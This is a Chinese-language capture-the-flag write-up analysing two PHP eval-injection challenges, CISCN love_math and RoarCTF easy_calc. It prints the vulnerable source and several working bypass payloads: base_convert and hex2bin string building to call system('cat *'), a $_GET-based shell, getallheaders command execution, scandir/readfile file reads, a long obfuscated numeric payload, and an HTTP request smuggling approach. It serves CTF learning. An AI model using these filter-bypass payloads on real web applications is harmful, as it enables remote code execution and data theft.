CISCN love_math和roarctf的easy_clac学习分析
Love_math
题目源码:
<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }
这道题又让我学到了很多姿势,通过base_convert可以任意进制转换,可以通过讲10进制转36进制,转出a-z的符号,再通过拼接实现任意绕过执行任意代码。
题目分析
<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }
可以看到题目限制了参数的长度要小于80,且不能包含空格、制表符、换行、单双引号、反引号、[]
。并且输入的字符串需要为$whitelist
中的函数。
最终会执行 eval('echo '.$content.';');
既然想要getshell,我们必须要能够获取任意字符串。由于单双引号被ban掉了,我们无法从函数名中提取字符串。因此我们只能想办法从函数的返回结果中获取。
通过翻阅文档,我们发现base_convert
函数可以返回任意字母,需要注意它无法返回_ *
等特殊字符。
成功执行
执行系统命令system('ls')
现在我们需要想办法读取flag.php
的内容,三条路:
1、使用php函数readfile等函数读取文件,但是需要flag.php中的.
。
2、使用system等命令执行函数配合通配符*
读取文件,但是需要*
。
3、使用$_GET
全局变量手动传入参数getshell。
上面的三种方法都建立在字符长度小于80的条件下。
方法1
为了缩短字符长度,我们可以将函数base_convert
赋值给一个短变量名,由于白名单的限制,我们最少需要两个字符,即$pi
。
($pi=base_convert)(2146934604002,10,36)('flag.php');
我们需要异或出.
然后与flag和php拼接到一起,传入readfile。
本地搭建环境fuzz
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo $a^$b;
发现无法异或出.
。
但是我们发现dechex
函数可以把10进制转换为16进制,我们可以再异或出hex2bin
,来获取任意ASCII字符。
最终payload
($pi=base_convert)(2146934604002,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36));
很明显,超长了
本地测试下在没有长度限制下,是否可以读取
方法2
同样的,我们fuzz发现无法异或出*
,需要借助hex2bin函数。
system
php > echo base_convert('system',36,10); 1751504350
cat *
的16进制为636174202a
最初payload
($pi=base_convert)(1751504350,10,36)($pi(37907361743,10,36)(dechex(426836762666)))
成功小于80
方法3
这个思路来自xq17和shadow师傅,已经过本人同意。
刚开始我们知道可以异或出_
。并且$
没有被waf,因此我们可以使用$_GET
全局变量手动传入参数getshell。
虽然[]
被过滤,我们依然可以使用{}
来提取数组中的值。
通过fuzz,我们可以得到
1^n=_; 5^r=G; 1^t=E; 7^c=T
不难构造出$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})
其实还有种方法就是利用getallheaders方法,因为是apache中间件,所以可以用getallheaders方法
方法4
通过getallheaders构造可控headers,system执行。来自先知社区的ROIS WP
那么多数学函数,实际上唯一能用的只有进制转换类,即base_convert
、dechex
,通过其能导出[0-9a-z]在内的字符。
经过一大堆失败的实验,如:
// phpinfo(); (base_convert(55490343972,10,36))();
// system('cat /*'); $pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42));
// system($_GET); $pi=base_convert(16191,10,36);$pi=$pi(95).$pi(71).$pi(69).$pi(84);base_convert(1751504350,10,36)($$pi{pi});
最后使用system(getallheaders(){9})
$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})
easy_clac
题目改编自Love_math,题目的难点在于设置的waf,限制了字符串,只能数字通行。在buuctf平台复现
calc.php题目源码:
<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
与love_math还是有本质区别的,没有限制数学函数,并且过滤了$,^等。
那我们可以通过~取反来尝试读取当前目录。
发现输入字符会403,但是输入数字却可以正常执行。结合题目给的源码,设置了waf用来截断字符,通行数字。
这里通过三篇文章学习到了一些绕过方法,一二篇都是parse_str的,通过传参php的字符串解析问题,首发于先知社区。第三篇是http走私攻击
方法一
这里因为限制了单引号,因此我们还是可以用取反操作,直接不需要单引号,转化为字符串。来尝试读取目录
var_dump(scandir('.'))
var_dump(scandir((~%D1)))
在尝试读下根目录
尝试读取f1agg文件
本来想用system()直接读的,disable_funcionts禁了
用readfile读取f1agg
还有种方法就是还是用数学函数来实现,payload:
base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))
方法二
http走私是由于前端代理服务器和后端源服务器之间的一些差异导致请求走私。
通过CL-CL的方法来执行
利用CL-TE或者TE-CL
根据我的理解,其实对于这道题都一样,前端代理和后端源都会执行一遍get传参,前端代理有waf,后端源执行返回正常的。
可能我的理解有所偏颇,但是知道并且能理解就行,不要太钻牛角尖。
后面的步骤与方法一 一样
这里附上很神奇payload:
((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))).(((999**999).(1)){0}).(((0/0).(0)){1}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((999**999).(1)){2}).(((999**999).(1)){0}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))).(((1).(1)){0}).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))))
学习文章:https://github.red/roarctf-web-writeup/#easy_calc